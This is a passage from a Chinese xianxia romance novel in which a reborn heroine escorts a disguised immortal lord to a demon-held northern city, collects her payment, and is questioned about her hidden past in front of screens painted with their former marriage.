朝玟叹气:“原本是有的,但作为一个弱女子,在皇城生存实属不易。租金到期时,我未能筹集到足够的银两,结果就被赶了出来。幸好接到了道君的订单,这才解了燃眉之急。”
她决定了,从现在起,她就是一个在京城孤苦无依,生活困苦但自强不息,偶尔多愁善感的女子。
这样一来,她为了生计而发愁,从而借酒消愁,也是理所当然的事。
反正等她将岑守心送到了霜澜城,就一拍两散,那人间中原的方国,想来他堂堂仙君也不会再去,更不会深究她的话是真是假。
……
手中的饼吃得只剩最后一口了,朝玟一口塞进嘴里,拍拍手心,撑地站了起来。
她的青玉坠在月光下晃出细细的微光,眼中倒映河边的萤火,一瞬间落在岑守心的脸上,见他一眨不眨的望着自己,带着几分洞察探究之意,又闪躲开目光。
她不想他再问,笑弯眼眸,轻快道:“我休息好了。”
“此时动身,明日傍晚便能到了,道君是想要速速启程,还是再歇息一会儿?”
岑守心点点头:“此时启程。”
朝玟转身走向马车。
倏忽风动,岑守心跟上来,走到她身后,又将她叫住。
“朝姑娘。”
这声叫唤意味不明,朝玟心中隐隐有感,虽然止步,但没有回头。
他抬起手,轻轻扫过朝玟的左肩。
朝玟怕他终于要将她擒拿,扭头看他。
他身量高出她许多,朝玟仰头,看向他隐在黑夜的面容,眼神惊惧。
岑守心捻一枯黄的竹叶,递到朝玟跟前。
“吓到你了?”
朝玟的神情由紧张转为怔忪,不好意思道:“有一点……”
他垂眸看她几秒,终于问道:“方才一战凶险,我观姑娘的护体宝物很不一般,是从何处所得。”
朝玟做了许久的心理准备,终于得偿所愿的听到了他的疑问,心情已经不似刚才忐忑焦躁,反而感到解脱。
她心力交瘁,不想隐瞒,平静答道:“是故人所赠。”
她想,岑守心玩弄人心真是有一套,明明是他一步步收拢陷阱,将人的神经一会绷紧,一会而放松,折腾得力竭了,才犹如一位救赎者登场,给予解脱,等到了解脱这一步,还要她觉得感激。
朝玟想明白自己被套路了之后,感到说不出来的生气,岑守心不开口,她便头也不回的往前走,去套缰绳,脚踩得地上的枯叶嘎吱作响。
但不多时,他的声音又一次响起。
“朝姑娘的故人是谁?”
朝玟转身,目光锁定在岑守心的眼眸上,嘴角勾起一抹笑意。
“这个问题,有些越界了,不如我和道君交换,如何?”
“您此次北上,为的是什么?”
岑守心:“寻妻。”
“寻妻为何会招惹魔物?”
朝玟歪头耳边青玉坠晃荡,她指尖捻起拨弄一下,眨了眨眼眸,又笑着说。
“那魔物如此忌惮你,恐怕不只是为了寻妻,对吗?”
岑守心缓缓眨眼,不答。
11. 兑换酬金
看来她猜对了。
他确实是为了别的东西而来。
朝玟又默默上了马车,掌住缰绳,她也将岑守心问了个哑口无言,两人打成平手,朝玟心情顿时转好,想将这对问就此揭过。
岑守心也跟了上来,他和朝玟心照不宣,并未多言。
有时回答是以沉默表示的。
朝玟得到了答案,心中的疑惑却扩散得越大。
赤云驹奔驰于北境的大地,朝玟忍不住回想起十年前那场动乱的情景。但毕竟已经过去了十年,她只能回想起一个大概。
起初仙域对北方的异常有所察觉,是因为天降异象,四面祸星包围北境,又有魔主降世之兆。
但除此之外,魔域风平浪静,四海一切正常,观察了一些日子,并无发现有任何威胁的魔物降临,于是便同意让朝玟带仙士前往查探。
朝玟带人到了北方,才发现导致天象不祥的,是一只白毛蜘蛛真身的魑魅。
在以武为尊的魔域,这魑魅是十二魑魅中最为特殊的一位。
它本是一只妖宠,本性狡诈狠辣,靠着反噬其主取而代之,这才成为十二魑魅之一,没什么武力,幻术却出神入化,杀人于无形。
有道是阎王好见,小鬼难缠,这么多年凭着诡谲的幻术无人敢挑衅,即便武力不佳,它也依旧安坐魑魅尊位,号令一方。
但她的野心不止于此,它是靠弑主上位,本就野心勃勃,早在魔主统治时期便不甘屈服。待到魔主被封印,魑魅们各自称霸一方时,它的野心更是如日中天,愈发膨胀,逐渐成为了北境的一大隐患。
幻术不足以保全,便修炼起了邪术,仗着仙域战后衰弱,人间北方偏远,人仙魔的势力都鞭长莫及,便打起了人界的注意。
它为练邪功,杀了一整座城的人,吸取人血和生机,将城池变为它蜕变的巢穴。还留下人的躯壳,将所有人都炼化成了傀儡,做她的臣民,当起了土皇帝。
故而城池虽空,但朝玟一行人到来时,并未看出任何异常。
她们不知内情,刚到便被蜘蛛发现了,好在朝玟一行人反应迅速,逢凶化吉。
也是运气好,碰上那蜘蛛正在炼化生机,躲在洞穴里蜕变,无力应战。
只是它虽无法亲自出面,它手下的得力干将——傀儡鬼,和朝玟一行人却对上了正着。
他与朝玟等人缠斗许久,不仅朝玟落入他手,整个修士的队伍也伤亡惨重,好在他们人多险胜,傀儡鬼他寡不敌众,最后被他们消耗得没有反击之力,当场弃阵而逃。
至于那只作茧自缚的蜘蛛,朝玟手下的人没花什么功夫,几下就把它乱棍打死,当场便灰飞烟灭。
北境之乱,打得艰巨,好歹是平定了。
只是这次,和上一次却有些许不同。
……
上一次所发生的所有种种,从来都没有涉及到什么失窃的宝物。
而这一次,昆仑丢了东西,寻回失窃之物才是这次仙域派人下界的初衷,清剿魔物,或许只是附带。
尽管情节走向依旧相同,但在目的和诸多细节之处却已发生了显著的变化,与上次截然不同。
朝玟觉得,这不同的地方,或许是一个突破口。
只是那落入贼手的东西是什么,朝玟一时半会也没有头绪。
要说昆仑有什么宝贝的话,朝玟只能想到一样东西——昆山灵玉。
可昆仑至宝已经跟着她转移到了现在的身体里,被盗窃之物肯定不会是这个东西,也绝不会比这个更珍贵。
但是朝玟转念又一想,昆山灵玉到了她的身体里,那么昆仑不就没有了吗?
也许沈修慈以为魑魅偷盗的东西是灵玉,这才万分重视也说不定。
那这冤枉可就大了。
朝玟心中苦笑,不过再怎么说,白毛蜘蛛在人间作孽,本就是要斩除的,这时前去讨伐它,也是明智之举。
不管岑守心到底有没有认出昆山灵玉,朝玟都决定在事情结束后,把东西物归原主。
以前这东西能为她续命,可如今不需要了。
她如今身体健全,这东西跟着她也是浪费。
何况重头来过,她也不想在和以前的人和时有任何牵扯。
……
赤云驹日行百里,在第二日傍晚,二人便已经抵达了方离国的国界内。
她们一路避开方国和各种驿站,只往人迹罕至的从里深处行驶,虽避开了人群,却避不开这进关的过路费。
朝玟在关卡门前,无奈地取出郑舒所赠的钱袋,待通关手续一一办妥,钱袋也肉眼可见的瘪塌了下去。
她拿着几乎空空如也的织锦袋子,脸色阴沉,心中大骂郑舒这老狐狸抠门,这通关的银两竟被算计得一丝不差,她还想在方离国打点牙祭吃点好的,现在看来也无望了。
计划泡汤,朝玟只好吭哧吭哧爬上车架,从包袱里又拿出最后几块饼啃了起来,权当做晚饭。
郑舒这算盘打得可真是妙到家了,一分钱都不多给。这饼吃完的时候,刚好她也就能到霜澜城领酬金。
朝玟郁闷:反正是从她的酬金里扣,至于吗?
为了保险起见,朝玟和岑守心进城后,依旧是避开人多的地方前进。
岑守心身为仙者,不沾凡尘烟火,一身仙风道骨。
朝玟则奋力啃饼,争取在到霜澜城之前多吃一点,把肚子填满。
她有上一次平定北境的经验,对霜澜城现在的情况可是一清二楚。
全城的人都被那白毛蜘蛛吸取了生机,变成了它的傀儡耳目,如今只是一座死城,虽然城池依旧维持着基本的运转,可是一个活人没有。
朝玟只是一个凡人,可不敢吃那里的东西。
当然,这样的想法当然不能跟岑守心说,所以在岑守心问起的时候,朝玟只是羞涩回答。
“我一路奔波,路上都没怎么吃东西,略有些饿了,现在稍微垫垫。”
谁知岑守心听后,让她停车,带她去了食肆。
朝玟落座后,拮据的搓搓手,笑道:“我身上没钱,道君就算带我坐在这,我也什么也吃不了。”
何况这方离国的食肆乱宰客,仗着这北境到处都是荒原,一碗阳春面卖得要比京城的贵两倍。
岑守心却说:“我请你。”
这里的物价让朝玟不敢造次,快速摆手:“这怎么好意思?道君您不必如此破费。”
岑守心却执意道:“你千里迢迢送我过来,我请你一顿饭当做犒劳,也是应当。”
朝玟左看右看,小声用手遮住嘴唇提醒道:“您看这菜价,您要是在这花钱,那可就是上赶着当冤大头。”
岑守心淡然回应:“那就权当一回。”
朝玟先是挑眉,又难以理解的皱眉,显得有些困惑:“啊?”
岑守心拿起桌上的水壶,给她倒了一杯,不疾不徐道:“北境纷乱已久,正好可借此整治一番。”
朝玟顿悟,原来他打得是这个主意。
岑守心可是昆仑殿的人,他拿到证据上报,肯定没这里的豪强的好果子吃。
朝玟拿起菜单,放心开点。
仅从这肆无忌惮的宰客行为中,便可窥见方离国治安的混乱程度。霜澜城的城池长期被魑魅盘踞,而方离国却毫无察觉,既不上报情况,也不采取任何措施。国主沉溺于搜刮民财,豪强们肆意欺压百姓,他们自以为仙域和灵闻阁的势力无法触及,以至于民生凋敝,怨声载道。
确实必须要好好整治一番。
朝玟义愤填膺,让岑守心好好当了一回冤大头。
她吃得心满意足,但当账单摆到面前时,朝玟心中不禁有些许不安。她放下筷子,拿起帕子轻轻擦拭嘴角:“道君既然要前往霜澜城,可曾了解那里现在的情况?”
岑守心回答:“并不甚明了。”
朝玟想想该怎么跟他编:“额……灵闻阁消息灵通,关于这城中之事……我也只是略有耳闻。”
“听说这城中有魑魅作乱,尤其擅幻术,我们在驿站遇到的傀儡鬼,很可能就是那只魑魅的部下。”
“道君进城以后,万事小心,要是有看着就不正常的人搭理你,你别搭理他。”
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>那可都不是活人,而是傀儡啊。
朝玟缩回脑袋,她只能提醒到这里了。
上一次朝玟带着一帮人都损兵折将差点回不来,这次岑守心只身一人,这一次那魑魅的炼化进度到了哪里,是否更加凶险也未可知,她担心他应对不了。
为了一顿饭,和这一路的关照,朝玟觉得怎么都得能帮就帮。
……
岑守心双目明澈,始终凝视着朝玟,直到她的话语落下,他才缓缓点头:“好。”
“姑娘说的话,我定谨记在心。”
朝玟有些不好意思地摆手:“嘿嘿,举手之劳啦,不足挂齿。”
他们抵达霜澜城的城门时,夕阳已沉下半边,或许是由于心理作用,那城门在暮色中显得有些阴沉可怖。
风卷起一张纸铜钱,赤云驹行驶在昏暗静谧的街道上,朝玟进了城门,隔得一段距离,远远就看见城墙脚下一张绘着十三方国图腾的帆旗,和一盏上书茶肆二字蒙蒙亮的油纸灯。
虽然只是一个简陋的茶水铺,但的确是千里记行的铺面。
千里记行里站着一个戴着面具的男子,似笑非笑的鬼面,一身灰扑扑的粗布麻衣,在灯下半暗半明。
那人看着朝玟,远远向她招手。
朝玟将马车驰过去,在铺面前停住。
她不太敢相认道:“你是千里记行的人?”
那人顶着面具,缓缓点了点头。
“可有凭证?”
他出示一枚黄铜佩,朝玟定睛一看,的确是千里记行的标志,这才放心,对他和缓的露出了一个笑。
莫看他鬼面狰狞,嗓音却慵懒华丽,他看着朝玟和岑守心走下马车,一人做了一个礼,说道:“阁主说今日有滴友到访,故派我来此相会。”
说完,看向朝玟换了一种语调,半懒散半抱怨道:“我今日留意来此的车马,已经待了整一日,小友怎么才到?”
朝玟挠挠鼻尖道:“在驿站留宿了傍晚,途中又遭遇了些状况,让你久等了。”
他打量一眼岑守心,又看向朝玟:“这位便是单主了吧,既然到了,那就来交任务吧。”
朝玟没想到在霜澜城居然还能遇到千里记行的人,迫不及待将紫卷递给他。
这酬金想要兑出来,得在目的地的铺子里找人“消卷”,看着消卷的人在卷轴上戳了印章,就能兑换银票或者黄金。
“阁主特地交代,小友急需用钱,这是五千金的银票,拿去吧。”
那人从简陋的茶水铺里拿出一叠银票,霜澜城一座死城,朝玟本以为得出再回到方离国才能拿到钱,陡然看见,眼睛都直了。
她用手盖住干道:“这不太好吧?你就这么拿出来?太引人注意了……”
看朝玟警惕又防贼一样的神态,千里记行的伙计轻嗤一笑。
“放心,大可不必做出这番几百年没见过钱的样子,你只要不举起来游街,没人会惦记你。”
朝玟讪讪把银票接了过去。
也是,这里的人也都不是人,不会贪图她的财物。
在霜澜城这里,钱比她这个人还要安全。
她清点了一下数目,一分不差,兀自开心的笑了几声。
想到身边还站着岑守心,她恍然回神,对那铺面里的鬼面男子道:“对了,阁里收到我的传讯没有?这位道君从昆仑远道而来,寻找失踪的妻子,阁里可有什么线索?”
那鬼面男子面向岑守心悠悠道:“若是确定在这城中,我有一言,那东街的脂粉铺内,或许会有道君想要的。”
岑守心道:“多谢,有劳郑阁主费心。”
“道君是贵客,自当尽心竭力。”说完,他颇有深意的回望了朝玟一眼,话中笑意一收,对朝玟道。
“既然已经收了酬金,那就走吧。”那男子说完,做出一个赶客的动作。
朝玟眼神一动,笑道:“不急,我在你这讨杯茶再走。”
她转头,双手轻轻相扣,对岑守心行了一礼。
朝玟话语轻巧,雀跃又松快道。
“那道君,就此别过吧。”
12. 执念伤神
那人待岑守心走后,听到朝玟要讨茶,轻哼一声,“我这可没有什么茶水招待你的。”
朝玟给他一个无语的眼神。
“别兜圈子,不是你给我打手势,让我留下来吗,你要干什么?”
见朝玟还算识相,那人满意一笑,“阁里新推出来了一批货,乃是居家外出必备之良品,要不来一些?”
朝玟狐疑:“什么货?”
那人从小推车下拿出一个锦盒,拨开铜扣,里面金光乍现,看上去异常不凡。
朝玟抻头去看,待那金光消散后,里面显现出一个乌黑的丹丸。
那人介绍:“回气丹,可在短时间内恢复气血。”
那人笑眯眯:“只需一锭金,今日购买,还可附赠一颗醒神丹。”
朝玟听到要钱,战略后仰,连连摇头。
“我不需要。”
“那可说不准,这北境凶险,若是遭遇不测……”那人意味深长的只说了一半,玄玄乎乎的,换来朝玟向后撤了一大步。
朝玟闻钱色变,不容分说道:“不要就是不要,什么丹药你要一锭金?说什么我也不要。”
“再说,我今日便回去了,这北境凶险,和我又有什么相干。”朝玟说的满不在乎,又看一眼匣子里的丹药,品相极好,看了半晌,最终伸手与他讨价还价:“你若对价便宜一半,我便考虑考虑,如何?”
那人不由分说,挥袖把盒关上,“就这个数,少了不卖。”
朝玟切了一声,“灵闻阁真是从上到下,一脉相承的贪财抠门。”
“姑娘不也是。”
这话朝玟可不爱听了,她拿着手上还没攥热乎的大富大贵,对着那人挥了挥,“我手里有钱,我这是勤俭,和你可不一样。”
那人鬼面阴恻,笑而不语。
朝玟哼一声,将银票揣入怀中,又看向他掌下的盒子,目光少了几分留恋,与他道别道:“算了,后会有期,祝你大卖。”
身后,那人依旧保持着笑意,悠悠的喊道:“若是小友改变主意了,可再来光顾。”
朝玟决绝摆手。
不会了,等她回去找郑舒要,不说一颗回气丹,就是十颗她也要的来。
朝玟揣紧银票,走到城门口,却发现城门紧闭,她顿觉不妙,看着巨大沉重封闭得连一丝光都透不出的城门,沉默良久。
那魑魅看来是连她这个蚊子肉都不想放过。
朝玟只能黑着脸又返回了千里记行的货铺。
那人笑眯眯的看着她去而复返。
她没好气又不情愿的递出银票:“那什么丹,来两颗。”
……
岑守心将赤云驹安置在马厩里后,就来到湖边,设下一个结界。
结界之内,他一挥衣袖,水花凝结成镜,镜面波纹震荡,随后逐渐平整,渐渐显示出一个人影。
镜中男子样貌年轻英俊,穿着一身淡青的官服,身后是巍峨的殿宇。
他端正站立,对岑守心做了一揖,喊到:“君上。”
岑源行了君臣之礼,便换成一副熟稔的笑脸,对着岑守心挑眉轻笑。
“听神旋府的掌事女官阿音回禀,昆仑殿下界一位道君,法号守心,我就猜到是君上您。”
他愁容道:“您要是再下界,先和我通通气,还编什么持秘文书,人家说了两遍我才反应过来,这才将人打发,否则您连神旋府这一关都过不去,何谈北上?”
岑守心,应该说是昆仑之主,如今仙域唯一的话事人,那位三界皆知造盛事和蓬莱联姻却又临时悔婚,在传言里被传得轰轰烈烈的沈修慈。
岑守心这个身份,只是他此次下界的一个化身,守心是随意想的名。
至于姓氏,岑源是他的心腹,就也取了岑这个姓。
若是有人盘查,便能搬出岑源来应付,等查到岑源头上,自然不了了之。
沈修慈点点头,问岑源道:“现在蓬莱是何情况?”
岑源揣着手,那俊逸的眉眼净是苦恼。
“如君上所料,蓬莱在收到悔婚的书信后,到现在都没有表明态度,想来是在考虑价码。”
“只是那蓬莱的王姬却反应过剧,昨日从蓬莱到昆仑,一定要见您,如今,臣已将她安置在小银钩暂住。”
岑源眼神期待的看着镜中的沈修慈道:“君上归期何定?”
沈修慈沉默一会儿,才说道:“我刚到霜澜城。”
岑源道:“哎呀,赤云驹日行百里,君上怎么才到啊,一人一骑,早就应该到了才是。”
“我此时从昆仑下界,太过显眼,从神旋府出发时就请了千里记行代我驾车,在出关之前,还休憩了半夜。”
岑源抿嘴点点头:“也好,此行还是小心为上。”
“对了,有关您同心印的事情,我让合籍殿的彻夜翻阅典籍,又有了些眉目。”
沈修慈:“说。”
岑源站直身板,认真道:“同心印记一旦烙上,便是打入灵骨的,浮现还不消退只有两种情况。”
“第一,就是之前和您说过的,距离太远,同心印感应不到,所以才会浮现在皮肉上。”
“第二种情况,便是身死之后,魂魄还在,并且还未轮回转世,同心印未与之彻底解绑,为了找到那失联的魂魄,所以才会一直显现。”
“那人有可能成了一抹孤魂,有可能夺舍其他的身体又重新在此世复活。”
“总之,无论哪种情况都说明,与您合籍的那名女子,现在还活着。”
岑守心听完之后,缓了片刻说道。
“我知道了。”
岑源欲言又止,小心问道:“君上还是什么也没想起来吗?”
沈修慈点头,他垂下眼睫,眼中闪过一抹思虑,接着又吩咐:“小银钩那边,你想办法安抚,在我回来之前,绝不可让任何人知道我下界。”
岑源长长叹了一口气,“无论能不能找到夫人,拿回失窃之物后,君上请尽快回来吧,不然就算我将那位王姬安抚住,白昊山的那位也要坐不住了。”
“君上根基不稳,又失了联姻这条路,若是不速速归来安抚局面,恐怕危矣啊。”
岑源苦口婆心劝道:“至于同心印,总有办法隐瞒,可等君上记忆恢复后,再做打算。”
“实在找不到,也不必太过勉强,执念伤神呐。”
岑源轻声叹气。
他可是眼睁睁看着沈修慈这几个月变化的人,同心印一个什么也证明不了的烙印,将人摧残得几乎生了
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魔。
即便是没有任何记忆,什么也想不起来,可是仅凭一个印记,却能让一个从来顾全大局的人,舍弃了局面,惊天动地的任性了一回。
按沈修慈的话来说,无论如何,他得给自己一个交代。
岑源旁观者清,知道他是百般不解,生了执念。
沈修慈一袖将水镜挥散,神色漠然,不知有没有听进去。
他看向身后灯火通明热闹非凡的城池,似一整洋溢着喜悦之情的团活物。
沈修慈刚将结界收回,就看见了一个带着狐狸面具的女子,出现在了他的面前。
那女子身材娇小,身着粉色襦裙,面具上的两只狐狸耳朵好似尖角,顶在双髻之前。
狐狸面具上的一双极弯的笑眼,看着突然之间,落在沈修慈脚边的一只纸鸢,轻轻示意。
沈修慈未动。
那女子娇嗔:“郎君好不解风情。”
“不过这也没什么要紧。”她娇笑两声,“郎君是要找娘子吗?”
沈修慈抬眼注视她身上散发的森森魔气,问道:“你知道?”
那女子看着沈修慈轻笑,抿唇不语,不由分说拉着他的手腕处垂落的衣袖,步伐轻巧的往繁华处走。
……
霜澜城入夜,张灯结彩,街道上人山人海,似乎全城的人都出来游街。
人人的脸上都带着一种兴奋又期待的笑容,仿佛即将要迎来什么喜事。
朝玟被人群推搡,她束手束脚的在人流中艰难前进,左右都不敢挨着,被踩了好几脚都不敢吭声,一脸憋屈。
这些可都是那白毛蜘蛛的傀儡,看似是一个个互不相干的人,可是全部都受那魑魅的驱使。
她要是碰到了谁,让那蜘蛛腿上的丝线颤一下,发现了她这小小的漏网之鱼,还不知道要面对什么。
今非昔比,朝玟对现在的实力有自知之明,岑守心在时,她还敢狐假虎威的装一下,现在只有她单枪匹马一人,落在这蜘蛛窝,她可不敢轻举妄动,只能小心又小心。
人头攒动,她艰难转身。
总之……先找到岑守心再说。
这样,好歹生存有保障。
只是,东街胭脂铺……东街在哪啊?
人挤着她把她挤得头昏眼花,眼看到有一座特别像胭脂铺的建筑,朝玟高高伸出手,在夹缝中无声呐喊。
等等!她看到了!
人群将她挟持着往前走,朝玟一直往后看,望眼欲穿,脖子都快扭断,无力的伸手,直到看不见那建筑的屋檐,终于崩溃。
等等!她错过了啊!
……
人潮向一个方向不断的前进。
朝玟无法逆流而行,只好跟着人一起往前走。
她路过一座楼阁,还未看见大门,就已经闻到了从里面飘出来的幽幽香气。
朝玟抬头看去,只见门口和二楼的屋檐都挂着粉色的纸灯笼,窗户里也散发着昏暗的暖光,很是暧昧诡异。
朝玟感到此处与熙熙攘攘的街道相比,异常宁静,似乎带着几分不寻常。她刚才一番巧妙地穿行,已将自己带到了人群的边缘,这次她轻松地从人群中抽身而出。
她抬头审视了片刻,随后踏入了这座楼宇之中。
13. 画屏迷宫
楼中第一层,都是一些胭脂。
朝玟意外挑眉,这里才是胭脂铺吗?竟叫她误打误撞找到了。
只是没想到,所谓胭脂铺规模居然不小,是一座三层高,装潢雅致的小楼。
朝玟在一楼看了看,那些胭脂鲜艳非常,犹如鲜血,香气逼人,朝玟没敢动,她转了一圈不见岑守心的人影,便上了二楼查探。
这里灯光幽暗,一张张屏风,纵横摆放,看似杂乱无章,却一张连着一张,像是一座迷宫,逼得朝玟只能往一个方向行走。
屏风上都是字画,类似于连环画,朝玟看了好几副才发现画与画之间是有联系的,又从头开始看起。
第一幅图是一个男子的画像,没有画出脸,用暗面一笔带过,头戴紫金冠,肩披黄金甲,身着文武袖,手持长剑,身后宝气莹润,是位仙人。
那宝剑的剑纹繁复,朝玟定睛看了半晌,认出了这是沈修慈的本命佩剑——警世。
这屏风所画的内容,竟是和沈修慈有关。
朝玟面容闪过恍惚之色,仿佛透过眼前的画像,直接看到了那人的模样,刺激起一阵心虚。
她本能不想再继续,但身在迷宫里,也不知绘制此画的人有何用意,只好又硬着头皮看了下去。
第二幅屏风,多出来了一个女人,同样面容模糊不清,与沈修慈穿着同样制式的婚服,一起站立在巍峨的神殿之前,青鸟引颈,二人合拜,是沈修慈与她大婚的现场。
朝玟感觉不对,又往后看了几幅,她越看心中越是震惊,这画中的内容,正是她上次攻略沈修慈的时候发生的。
只是画到她走进无头傀儡鬼的幻境后,就戛然而止。
朝玟站在屏风的出口,惊疑不定,这些画为什么会出现在这里。
难道是那魑魅的手笔?
正当朝玟猜想时,从绯色轻纱层层叠叠之后,出现一道朦胧曼妙的倩影。
朝玟面色如冰,不知道是谁在装神弄鬼,她手中尖刺显现,掀开所有的帘子,就要刺过去。
只是她的刺刀在掀起轻纱时,被一只手擒住刀尖,犹如碰撞生铁,不能再向前分毫。
她和一双熟悉又淡漠的眼睛四目相对。
朝玟狐疑又惊慌道。
“道君?”
岑守心点点头,“朝姑娘。”
朝玟赶忙将刺刀收回,换上笑脸。
“道君,可算找到你了。”
朝玟神态欣喜。
岑守心目光落在她的身上。
她穿着从杂货铺买来的碧色的外衣,对襟是颜色稍暗的墨绿,脖颈处显露的肌肤洁白,发髻用漂亮的玉簪挽好,垂落的青丝捻几撮,编成小辫子,打理得很精致。
唯一不尽美之处,便是耳垂上的青玉坠缺了一只,岑守心盯着她空荡荡的耳垂,安静听她说话。
朝玟面容皎洁,远山眉舒展开,笑起来,如春风化雨,大气明艳。
她先表明来意,“我方才正要离开,走至城门口,却发现城门紧闭,又询问无门,故来寻你。”
朝玟探头向他身后:“刚刚里面是不是还有人?”
岑守心却说,“无人。”
朝玟贴近他,脑袋越过他半截手臂,疑惑道:“可是我分明看见,似乎有一女子……”
他将朝玟的脑袋推了回去,面色沉静:“你看错了。”
朝玟面露不解,还要再争辩什么,却看见岑守心的目光落在了屏风的画卷上。
朝玟下意识用身体挡住,眼睫颤了颤,笑道。
“所以情况就是这么个情况,我暂时无法脱身了,北境又乱的很,道君不然还是带我一程,和我结个伴?”
岑守心似乎没听见她的声音,径直越过她,走到最前面的屏风,故事刚开始的地方,目光落在上面,看得很专注。
朝玟开始胡言乱语。
“外面好热闹啊,是在过中秋吗?”
岑守心问她:“姑娘看到这些画了吗?”
他的手指落在那面容暗淡的女子上,轻轻摩挲了一下。
朝玟心里突突,笑道。
“看了,当初昆仑和蓬莱联姻,民间充满了美好的期盼,于是乎,四处流传着关于这段佳话的话本与文章,有些被编排成戏文,还有的付诸工笔,就是这种,用画儿来讲故事。”
反正岑守心第一次下界啥也不懂,朝玟可劲糊弄。
朝玟无法让他不去看这些东西,干巴巴的在一旁说道:“这画卷屏风做的真是精致啊,哈哈。”
岑守心每一扇屏风都看得很认真,朝玟跟在他身边,大气不敢喘。
看到最后一副蓬莱王姬来到霜澜城,深陷傀儡鬼的幻境,朝玟立刻展示道:“民间艺术,就是这样跌宕起伏,留足悬念。”
岑守心看到最后一幕,轻笑了一声,意味不明说到:“民间艺术?”
朝玟坚定:“对。”
岑守心深深看她一眼,向屏风迷宫外走去。
朝玟连忙跟上,一连串追问道。
“道君找到您夫人的线索了吗?下一步要做什么,需不需要我帮忙的?”
他还没有明确说会庇护朝玟,朝玟怕他把自己丢在这里,她应付不了。
岑守心拾阶而上,洁净如雪的衣摆晃动,身形端正而平稳,径直走向三层。
朝玟亦步亦趋,跟着他走到一个房间前。
岑守心走了进去,朝玟以为里面有什么,也跟了进去。
他长指掐诀,扔出一个结界,金光将朝玟和整个房间都笼罩。
朝玟怔愣住。
这是一个没有点灯的房间,在这到处都是异色灯笼的地方,漆黑显得反而很正常。
外面人声喧哗,二人在漆黑中对立而视,像是在另一个隔绝的空间。
朝玟看着他站在窗边,面容半明半暗,悲喜不明,从窗棂外透进一丝绯色的光线,映照在他的眼中,犹如皎月染血,将那水墨温润衬得惊艳。
岑守心说:“此地危险,你就在这结界里等我,等我回来后,带你出去。”
朝玟急忙问,“道君你要去哪?”
岑守心侧头,透过仅指缝细的缝隙,看向窗外。
“城中有异,我去查探一二。”
他看向外面的景象,问朝玟:“你先前从灵闻阁可曾听到消息,这里究竟有什么异状?”
朝玟挠挠鼻尖,眼珠左右转动:这个……灵闻阁也不知道啊,知道的只有她而已。
具体的她也知道,只是她现在只是一个凡人,不该知道那么多。
朝玟摇头:“我所知道的都已经告知您了,再具体的……我也不清楚。”
岑守心说:“我进城后,遇到了一个女子,她口口声声说,我是那画中人,说那画中的另一个人,就是我一直在找的妻子。”
朝玟觉得可笑的摇了摇头,驳道:“不可能,那女子定是瞎说的,那画像中的人,分明是昆仑之主。”
岑守心:“你又是怎么知道那就是昆仑之主。”
朝玟笃定:“整个仙域,还有谁有警世剑?”
“你见过吗。”
朝玟被问的一愣。
岑守心向前一步。
朝玟哑然,眼珠慌乱的转了转。
“……没见过,我也是猜的。”
岑守心用一种让她心慌的眼神望着她,反问:“既没见过,又怎么猜得出?”
他又上前一步,朝玟向后退,绞尽脑汁找补道:“虽没见过,但是人间的话本却时常有描述,说警世剑上锻刻镇魔图腾,这才猜出来的。”
朝玟说着话,不知不觉,被他逼至墙角。
“姑娘的话,真是破绽百出。”
她额角渗出冷汗。
他又上前一步,
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朝玟似乎能够感受到他身上剑意所散发的寒气。
岑守心用一种平直的语调,叙述道。
“初见我时,你说从未去过昆仑。”
“昨夜竹林里,你说你身上属于仙域的宝物,是故人所赠。”
“如今又说,认得那位镇守仙域,从未下界的君主的剑。”
朝玟难以招架百口莫辩,背后紧贴墙壁,神情躲闪,不与他对视。
岑守心眼眸泠泠道:“还是昨夜那个问题。”
“我想知道,你的故人是谁?”
“否则朝姑娘,你若是与昆仑牵涉,却满口谎言,仙域如今正是多事之秋,在下恐怕会为避免祸引,押你回去。”
朝玟一听岑守心要带她回昆仑,立刻急了,焦急道:“道君你听我解释……不是你想的那样。”
朝玟正绞尽脑汁,想要编出些圆谎,他却又上前一步。
朝玟紧张的心跳咚咚响,呼出的气息,和他的呼吸纠缠在一起。
太近了。
朝玟眼眸闪烁,偏开脑袋,躲开他的注视,看向右侧的窗棂。
岑守心的声音钻进她的耳朵里,轻声问道:“我们见过吗?”
朝玟非常坚决的摇了摇头。
岑守心缓缓眨了一下眼睛,又问。
“你见过沈修慈吗?”
朝玟负气道:“没有。”
岑守心默了两秒,“朝姑娘,不要撒谎。”
朝玟扭回脑袋,目光如炬,看着他。
“我确实有事欺瞒了道君,但我不是您的犯人,您没必要这么逼问吧?”
这是拷问犯人那一套,朝玟以前扮演权臣时,经常对那些锒铛入狱的罪臣奸佞使的手段。
也是这样咄咄逼人。
只是如今她并未做什么,并不需要畏惧他。
岑守心垂眸:“岑某多有得罪。”
他虽然这么说,却不让寸步。
朝玟不甘示弱,和他对视,只是终究不敌他不依不饶,脑袋耷拉下去,长叹一口气。
“我的确和仙域没有任何关系。”
“如你所见,我只是一个凡人,就算有那宝物,也不能证明什么吧?”
岑守心:“那物是何人所赠。”
“那是我的夫君给我的,这是我的私事,恕我不能多言,当然,也不能将此物给你。”
这昆山灵玉非同小可,除非沈修慈亲自派人来取,或者等她出去后,亲自跑一趟上界,悄悄物归原主,否则朝玟不会轻易交给任何人。
朝玟为了让自己显得可信,举手发誓道:“我在遇到你岑道君之前,我这一生,和仙域没有丝毫关系,此言要是有假,就让我现在立刻被雷劈死,死后永世不得超生。”
数秒之后,没有动静。
朝玟得意仰头,“如何,道君满意了吗?”
岑守心却注意偏离,语气透着一丝怪异道:“你有夫君?”
她上辈子脱身之前,和沈修慈还没来得及和离,所以当然还是夫妻。
朝玟点点头。
“那为何之前说,京城只你一人。”
朝玟心中暗暗叫苦。
之前她也没有想过会再遇到岑守心啊。
朝玟转动脑筋:“我和我夫君不在一起,我的确是自己来京城打拼的。”
岑守心:“为什么不在一起。”
朝玟编不下去,没好气道:“这和道君您没什么关系吧?”
岑守心定定看她几秒,向后退开。
面前的压迫感顿时消散,朝玟浑身一轻,松了口气。
面前的人又恢复了那个清冷的道君,他眉间的同心印灼灼如火,眼眸清冷无波。
岑守心:“在这待好,我若是不回来,不要妄动。”
朝玟看着他,没有表态。
他也没有再追问,而是走出了房门。
14. 误入何处
漆黑的环境能放大听觉,朝玟能够清晰的听到窗外街上的喧闹声。
她想要贴在窗户上看看外面情况如何,却被一道金光给挡了回来。
朝玟放弃探窗,立刻转身,想要走出去,只是脚刚落在门边,也同样被挡了回来。
她不可置信,岑守心居然限制了她的行动。
